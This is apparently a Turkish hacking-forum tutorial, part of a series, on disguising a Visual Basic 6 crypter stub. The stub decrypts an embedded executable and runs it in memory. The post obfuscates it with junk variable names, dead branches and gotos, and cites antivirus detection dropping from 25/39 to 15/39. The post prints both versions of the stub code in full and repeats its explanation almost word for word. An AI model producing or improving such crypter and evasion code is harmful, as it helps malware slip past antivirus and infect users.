Herkese merhaba arkadaşlar.
Bugün günlerden cuma-ertesi. Cumartesi
1. konumuzda atamaları farklı yerlerden bir stringe toplamayı ve birkaç anti geçmeyi yazmıştım.
2. konumuzda da sayı ve rakamları stringe çevirmeyi yazmıştım.
3. konumuz yani bu postta sizlere Functionlar oluşturarak stringleri çağırmayı daha doğrusu kodlamayı karmaşıklaştırmayı anlatacağım.. ( Anlattığım kodlamaların yazıldığı dil: Visual Basic 6 )
En basitinden bir crypterin stub main dosya kodlamasına bakalım..
Sade kodlaması olan bir crypter seçtim ki anlatım sırasında sıkıntı yaşamayalım..
Şimdi Sub Main kısmı programın çalıştıgı kısım buradan aşağıya doğru sırayla tek tek açıklayacağım.
Dim le başlayan satırlar değişkenlerimiz yani program içerisinde bilgi ve veri ataması yapacağımız tanımlamalar diyebiliriz.
ilk atamamızı Goku = App.Path & "\" & App.EXEName & ".exe" şeklinde yapmışız yani Goku adlı değişkene programın çalıştırıldığı yol ve programın o anki exe ismini atamışız.
Sonrasında Open kısmı ile Programı Binary modda açmışız
Datos değişkenine programın büyüklüğü kadar Boş karekter ataması yapmışız bunu birazdan dolduracağız.
Get #1, , Datos ilede programdaki tüm datayı Datos değişkenine atamışız.
Close #1 ile dosyayı okuduk işimiz bitti atamamızı yaptık artık kapatıyoruz.
şimdi burada önemli olan şey şu
sData() değişkeni () işaretli değişkenler birden fazla atama yapılabilen değişkenlerdir..
sdata değişkenine datos daki verileri parçalayarak parça parça atama yapıyoruz peki nasıl parçalıyoruz Split ile parçalıyoruz neye göre parçalıyoruz ##$$## komutu gördüğü yerde değişkeni bölüyor ve sData ya bir index daha ekleyip o indexe atama yapıyor..
sData(1) ne oluyor bizim sonradan şifrelediğimiz exenin şifreli datası oluyor. bu datayı INJECTERBUS ile orjinal haline çeviriyoruz şifresiz haline yani..
YVGSARQ Goku, StrConv(sData(1), vbFromUnicode), vbNullString bu satırdada şifresini çözdüğümüz exeyi bellekte tekrardan çalıştırıyoruz yani exe içinde exe çalıştırıyoruz..
şimdi crypterlerin çalışma mantığını anladıysak geçelim sub mainin bir tık değiştirilmiş haline ama aynı işlevi görecek ..
linklerdeki kleen scan yazısını birleştirip bakabilirsiniz.
orjinal stub tarama sonucu 25/39:
https://kleen scan.com/scan_result/2b32c45fd094cb2daabedd51e9492ebb578c533556cab132c365c670d4e5afde
sadece main kısmı düzenlenmiş stub tarama sonucu 15/39 :
https://kleen scan.com/scan_result/340aa8a3a06487790e9a5f7281118e796c816c4bdd66f03e459fcc88471d8735
birkaç fake değişken ve isim değişikliği ile bu kadar oldu.
diğer konuda görüşmek dilegiyle..
Bugün günlerden cuma-ertesi. Cumartesi
1. konumuzda atamaları farklı yerlerden bir stringe toplamayı ve birkaç anti geçmeyi yazmıştım.
2. konumuzda da sayı ve rakamları stringe çevirmeyi yazmıştım.
3. konumuz yani bu postta sizlere Functionlar oluşturarak stringleri çağırmayı daha doğrusu kodlamayı karmaşıklaştırmayı anlatacağım.. ( Anlattığım kodlamaların yazıldığı dil: Visual Basic 6 )
En basitinden bir crypterin stub main dosya kodlamasına bakalım..
Kod:
Sub Main()
Dim Goku As String, Datos As String, sData() As String
Goku = App.Path & "\" & App.EXEName & ".exe"
Open Goku For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = INJECTERBUS(sData(1), "eLiTe--sNaKe")
YVGSARQ Goku, StrConv(sData(1), vbFromUnicode), vbNullString
End Sub
Sade kodlaması olan bir crypter seçtim ki anlatım sırasında sıkıntı yaşamayalım..
Şimdi Sub Main kısmı programın çalıştıgı kısım buradan aşağıya doğru sırayla tek tek açıklayacağım.
Dim le başlayan satırlar değişkenlerimiz yani program içerisinde bilgi ve veri ataması yapacağımız tanımlamalar diyebiliriz.
ilk atamamızı Goku = App.Path & "\" & App.EXEName & ".exe" şeklinde yapmışız yani Goku adlı değişkene programın çalıştırıldığı yol ve programın o anki exe ismini atamışız.
Sonrasında Open kısmı ile Programı Binary modda açmışız
Datos değişkenine programın büyüklüğü kadar Boş karekter ataması yapmışız bunu birazdan dolduracağız.
Get #1, , Datos ilede programdaki tüm datayı Datos değişkenine atamışız.
Close #1 ile dosyayı okuduk işimiz bitti atamamızı yaptık artık kapatıyoruz.
şimdi burada önemli olan şey şu
sData() değişkeni () işaretli değişkenler birden fazla atama yapılabilen değişkenlerdir..
sdata değişkenine datos daki verileri parçalayarak parça parça atama yapıyoruz peki nasıl parçalıyoruz Split ile parçalıyoruz neye göre parçalıyoruz ##$$## komutu gördüğü yerde değişkeni bölüyor ve sData ya bir index daha ekleyip o indexe atama yapıyor..
sData(1) ne oluyor bizim sonradan şifrelediğimiz exenin şifreli datası oluyor. bu datayı INJECTERBUS ile orjinal haline çeviriyoruz şifresiz haline yani..
YVGSARQ Goku, StrConv(sData(1), vbFromUnicode), vbNullString bu satırdada şifresini çözdüğümüz exeyi bellekte tekrardan çalıştırıyoruz yani exe içinde exe çalıştırıyoruz..
şimdi crypterlerin çalışma mantığını anladıysak geçelim sub mainin bir tık değiştirilmiş haline ama aynı işlevi görecek ..
Kod:
Sub Main()
'H5
Dim O485653515156494956524851525650505550
Dim P535357495753565554525357505349555255 As String
'P5
Dim Y495655494848565156565155535254565256
Dim R515751515052555250574951495552555355 As String
'R5
Dim D565556504852555048544850514856524851
Dim H545256525751545249565552485154515055() As String
'D5
Dim B525656505153494951545557565356565448
If 5 = 5 Then
GoTo yanlisagit:
Else
End If
yanlisagit:
If "a" = "a" Then
P535357495753565554525357505349555255 = App.Path & "\" & App.EXEName & ".exe"
Else
Call MsgBox("Merhaba dünya! klasik mesajjj", vbInformation, "Başardıkk")
End If
If "benkim" = "senkim" Then
GoTo bizkim:
End If
simdisorunanlasildi:
H545256525751545249565552485154515055() = Split(R515751515052555250574951495552555355, "##$$##")
H545256525751545249565552485154515055(1) = INJECTERBUS(H545256525751545249565552485154515055(1), "eLiTe--sNaKe")
YVGSARQ P535357495753565554525357505349555255, StrConv(H545256525751545249565552485154515055(1), vbFromUnicode), vbNullString
GoTo benibitisegotur:
bizkim:
Open P535357495753565554525357505349555255 For Binary As #1
R515751515052555250574951495552555355 = Space(LOF(1))
Get #1, , R515751515052555250574951495552555355
Close #1
GoTo simdisorunanlasildi:
benibitisegotur:
End
End Sub
linklerdeki kleen scan yazısını birleştirip bakabilirsiniz.
orjinal stub tarama sonucu 25/39:
https://kleen scan.com/scan_result/2b32c45fd094cb2daabedd51e9492ebb578c533556cab132c365c670d4e5afde
sadece main kısmı düzenlenmiş stub tarama sonucu 15/39 :
https://kleen scan.com/scan_result/340aa8a3a06487790e9a5f7281118e796c816c4bdd66f03e459fcc88471d8735
birkaç fake değişken ve isim değişikliği ile bu kadar oldu.
diğer konuda görüşmek dilegiyle..



